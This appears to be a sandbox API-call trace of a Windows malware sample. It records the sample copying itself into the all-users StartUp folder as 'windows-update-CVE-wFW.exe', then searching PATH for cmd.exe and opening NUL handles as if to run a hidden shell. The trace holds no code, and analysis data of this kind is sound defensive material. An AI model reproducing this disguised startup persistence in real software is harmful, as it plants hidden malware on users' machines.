	[0055.433] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x6de8, lpOverlapped=0x0) returned 1
	[0055.434] WriteFile (in: hFile=0x138, lpBuffer=0xc00004c000*, nNumberOfBytesToWrite=0x6de8, lpNumberOfBytesWritten=0xc0000c9aac, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesWritten=0xc0000c9aac*=0x6de8, lpOverlapped=0x0) returned 1
	[0055.434] ReadFile (in: hFile=0x13c, lpBuffer=0xc00004c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c9b0c, lpOverlapped=0x0 | out: lpBuffer=0xc00004c000*, lpNumberOfBytesRead=0xc0000c9b0c*=0x0, lpOverlapped=0x0) returned 1
	[0055.435] GetProcAddress (hModule=0x7ffce9120000, lpProcName="FlushFileBuffers") returned 0x7ffce9142260
	[0055.435] FlushFileBuffers (hFile=0x138) returned 1
	[0062.199] SetEvent (hEvent=0x120) returned 1
	[0062.199] CloseHandle (hObject=0x138) returned 1
	[0062.344] SetEvent (hEvent=0x120) returned 1
	[0062.344] CloseHandle (hObject=0x13c) returned 1
	[0062.344] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\windows-update-CVE-wFW.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windows-update-cve-wfw.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9b48 | out: lpFileInformation=0xc0000c9b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ecb1f2f, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x1ecb1f2f, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x25056edf, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x2aede8)) returned 1
	[0062.345] VirtualAlloc (lpAddress=0xc000054000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000054000
	[0062.345] VirtualAlloc (lpAddress=0xc000056000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000056000
	[0062.346] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc0000120d0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0062.346] VirtualAlloc (lpAddress=0xc000058000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000058000
	[0062.346] VirtualAlloc (lpAddress=0xc00005a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005a000
	[0062.347] VirtualAlloc (lpAddress=0xc00005c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005c000
	[0062.347] GetFileAttributesExW (in: lpFileName="cmd.com" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.com"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.347] CreateFileW (lpFileName="cmd.com" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.347] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.347] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.347] GetFileAttributesExW (in: lpFileName="cmd.bat" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.bat"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.347] CreateFileW (lpFileName="cmd.bat" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.348] GetFileAttributesExW (in: lpFileName="cmd.cmd" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.348] CreateFileW (lpFileName="cmd.cmd" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.348] GetFileAttributesExW (in: lpFileName="cmd.vbs" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.348] CreateFileW (lpFileName="cmd.vbs" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.348] GetFileAttributesExW (in: lpFileName="cmd.vbe" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.348] CreateFileW (lpFileName="cmd.vbe" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.348] GetFileAttributesExW (in: lpFileName="cmd.js" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.js"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.348] CreateFileW (lpFileName="cmd.js" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.348] GetFileAttributesExW (in: lpFileName="cmd.jse" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.jse"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.348] CreateFileW (lpFileName="cmd.jse" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.348] GetFileAttributesExW (in: lpFileName="cmd.wsf" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.348] CreateFileW (lpFileName="cmd.wsf" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.348] GetFileAttributesExW (in: lpFileName="cmd.wsh" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.348] CreateFileW (lpFileName="cmd.wsh" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.349] GetFileAttributesExW (in: lpFileName="cmd.msc" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.msc"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.349] CreateFileW (lpFileName="cmd.msc" (normalized: "c:\\users\\fd1hvy\\desktop\\cmd.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.349] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc0000121a0, nSize=0x64 | out: lpBuffer="") returned 0xbc
	[0062.349] VirtualAlloc (lpAddress=0xc00005e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005e000
	[0062.349] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc00005e000, nSize=0xbc | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0062.349] VirtualAlloc (lpAddress=0xc000060000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000060000
	[0062.349] VirtualAlloc (lpAddress=0xc000062000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000062000
	[0062.350] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.com" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.com"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.354] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.com" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.357] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.361] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.exe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.395] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.bat" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.bat"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.399] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.bat" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.402] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.cmd" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.405] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.cmd" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.410] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.vbs" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.413] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.vbs" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.416] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.vbe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.419] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.vbe" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.422] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.js" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.js"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.425] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.js" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.495] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.jse" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.jse"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.498] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.jse" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.501] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.wsf" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.504] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.wsf" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.507] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.wsh" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.510] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.wsh" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.513] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.msc" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.msc"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.516] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\cmd.msc" (normalized: "c:\\programdata\\oracle\\java\\javapath\\cmd.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.526] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\cmd.com" (normalized: "c:\\windows\\system32\\cmd.com"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0062.527] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\cmd.com" (normalized: "c:\\windows\\system32\\cmd.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0062.527] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e427f9e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e427f9e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e427f9e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42600)) returned 1
	[0062.527] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc0001504e0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0062.527] VirtualAlloc (lpAddress=0xc00015a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015a000
	[0062.530] VirtualAlloc (lpAddress=0xc00015c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00015c000
	[0062.530] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c96a0 | out: lpFileInformation=0xc0000c96a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e427f9e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e427f9e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e427f9e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42600)) returned 1
	[0062.530] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x13c
	[0062.531] GetConsoleMode (in: hConsoleHandle=0x13c, lpMode=0xc0000c9ab4 | out: lpMode=0xc0000c9ab4) returned 0
	[0062.531] GetFileType (hFile=0x13c) returned 0x2
	[0062.531] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x138
	[0062.531] GetConsoleMode (in: hConsoleHandle=0x138, lpMode=0xc0000c9a74 | out: lpMode=0xc0000c9a74) returned 0
	[0062.531] GetFileType (hFile=0x138) returned 0x2
	[0062.531] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x148
	[0062.531] GetConsoleMode (in: hConsoleHandle=0x148, lpMode=0xc0000c9a74 | out: lpMode=0xc0000c9a74) returned 0
	[0062.531] GetFileType (hFile=0x148) returned 0x2
	[0062.531] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetEnvironmentStringsW") returned 0x7ffce913ddb0
	[0062.532] GetEnvironmentStringsW () returned 0x1619f3af610*
